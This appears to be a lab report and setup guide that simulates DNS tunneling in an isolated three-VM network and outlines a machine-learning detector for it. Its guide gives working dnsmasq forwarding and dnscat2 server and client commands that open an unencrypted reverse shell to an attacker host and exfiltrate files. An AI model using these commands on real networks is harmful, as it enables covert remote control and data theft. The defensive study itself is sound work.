

## **Part 1: Improvement for The Research Report**

### **Phase 2: Practical Lab Deployment (DNS Tunneling Simulation)**

To validate the theoretical mechanisms of DNS tunneling, a controlled, isolated laboratory environment was constructed. This environment consists of three virtual machines simulating a real-world enterprise network:

1. The Victim (Debian 12): Simulates an internal corporate workstation.
2. The Gateway (Ubuntu Server): Acts as the corporate firewall and internal DNS resolver.
3. The Attacker (Kali Linux): Simulates an external Command and Control (C&C) server located on the public internet.

The DNS Trap Mechanism: Instead of allowing the Victim machine to communicate directly with the Attacker, the environment enforces strict Layer 3 network segmentation. To facilitate the attack simulation, dnsmasq was deployed on the Gateway. It was configured as a "DNS Trap" using conditional forwarding. Legitimate web traffic is forwarded to public resolvers (e.g., Google DNS), while any queries directed at the malicious domain (malware.local) are intercepted and explicitly forwarded to the Attacker's IP. This perfectly mimics how enterprise DNS servers are unwittingly forced to act as couriers for malicious payloads.

Executing the Attack: The open-source tool dnscat2 was utilized to simulate the malware. To ensure the payloads were visible for Deep Packet Inspection (DPI) analysis, the built-in encryption of dnscat2 was disabled. The simulation successfully established an unencrypted, persistent reverse shell. Furthermore, a file exfiltration scenario was executed, demonstrating how sensitive data (such as a simulated password file) is chunked, encoded, and smuggled out of the network within the TXT, CNAME, and MX records of continuous DNS queries.

### **Phase 3: Developing the Real-Time DPI and AI Engine**

With the attack vector successfully simulated, the next objective was to build the detection mechanism. A custom Python application (dns\_entropy\_analyzer.py) was developed to serve as a real-time DPI engine.

This engine operates on a hybrid detection model:

- Machine Learning (ID3 Decision Tree): The script utilizes the scikit-learn library to implement a Decision Tree classifier. The model was trained using a baseline dataset of feature vectors comprising Subdomain Length and Shannon Entropy scores. This allows the AI to mathematically distinguish the chaotic, high-entropy strings of Base64-encoded malware from the predictable patterns of legitimate human web browsing.

- **Real-Time Log Parsing:** The script is designed to act as a continuous listener, tailing the eve.json log files generated by Suricata. It extracts the rname (requested domain) from every passing DNS packet on the fly.
- **Active Mitigation:** Upon detecting a positive match for tunneling behavior, the script shifts from passive monitoring to active defense. It executes dynamic iptables rules at the operating system level to immediately drop all forwarded traffic from the offending internal IP address, effectively severing the C&C connection.

*Current Status:* The core logic, feature extraction, and AI models have been successfully coded and validated in a standalone environment. The immediate next step involves integrating this script directly into the Gateway to process live Suricata traffic during an active dnscat2 session.

## **Part 2: Standalone Lab Setup Guide**

### **Standard Operating Procedure (SOP): DNS Tunneling Lab Environment Setup**

#### **1. Architecture Overview**

This laboratory is designed to simulate an enterprise network undergoing a DNS tunneling attack. It consists of three distinct virtual machines (VMs) separated by logical network segments.

- **Gateway (Ubuntu Server):** Acts as the central router, NAT provider, and DNS Forwarder.
  - **Interfaces:** LAN (192.168.50.1), Fake-WAN (192.168.60.1), and a NAT interface for real Internet access.
- **Victim (Debian 12):** The compromised internal endpoint.
  - **Interface:** LAN (192.168.50.20). Default Gateway points to 192.168.50.1.
- **Attacker (Kali Linux):** The external C&C Server.
  - **Interface:** Fake-WAN (192.168.60.10)

#### **2. Network & Routing Configuration**

To simulate a realistic environment, Layer 3 routing must be established so packets can traverse the Gateway without the Victim and Attacker sharing the same subnet.

On the Gateway (Ubuntu):

1. Enable IP Forwarding by uncommenting *net.ipv4.ip\_forward=1* in */etc/sysctl.conf* and applying with *sudo sysctl -p*.
2. Provide Internet access to the internal network by configuring a NAT masquerade rule on the interface connected to the real Internet (e.g., ens38):

```
sudo iptables -t nat -A POSTROUTING -o ens38 -j MASQUERADE
```

```
sudo apt install iptables-persistent -y
```

On the Attacker (Kali): Ensure the Attacker knows how to route response packets back to the internal LAN via the Gateway. Add a static route and bind it to the specific interface:

1. Open the Network Manager GUI -> IPv4 Settings -> Routes.
2. Check the box: *Use this connection only for resources on its network*.
3. Add Route: Address: 192.168.50.0, Netmask: 255.255.255.0, Gateway: 192.168.60.1.

### **3. DNS Trap Deployment (dnsmasq)**

The Gateway must be configured to resolve normal traffic while actively forwarding malicious queries to the Attacker.

On the Gateway (Ubuntu):

1. Install the service: *sudo apt install dnsmasq -y*.
2. Disable the default Ubuntu DNS resolver to free up Port 53:

```
sudo systemctl disable systemd-resolved
```

```
sudo systemctl stop systemd-resolved
```

```
sudo rm /etc/resolv.conf
```

```
echo "nameserver 8.8.8.8" | sudo tee /etc/resolv.conf
```

3. Configure */etc/dnsmasq.conf* by appending the following rules to the bottom of the file:

```
interface=ens33
```

```
server=8.8.8.8
```

*server=/malware.local/192.168.60.10*

Note: *server=8.8.8.8* handles clean traffic, while *server=/malware.local/...* forwards all query types (A, TXT, CNAME) for the specific domain to the Attacker.

4. Restart the service: `sudo systemctl restart dnsmasq`.

#### **4. Malware Execution & Tunneling (dnscat2)**

With the infrastructure routing properly, the covert channel can be established.

On the Attacker (Kali):

1. Install the tool: `sudo apt install dnscat2 -y`
2. *Troubleshooting Note:* Modern Ruby environments may deprecate Fixnum/Bignum. If encryption crashes occur, patch the Ruby files or run the tool with encryption disabled.
3. Start the C&C listener:

*dnscat2-server malware.local --security=open*

On the Victim (Debian):

1. Clone and compile the client payload:

*git clone https://github.com/iagox86/dnscat2.git*

*cd dnscat2/client/*

*make*

2. Execute the payload to initiate the outbound DNS tunnel:

*./dnscat --dns domain=malware.local --no-encryption*

Upon execution, the Attacker console will register Session established!, confirming that Layer 7 DNS Tunneling is successfully bypassing the Layer 3 network architecture.

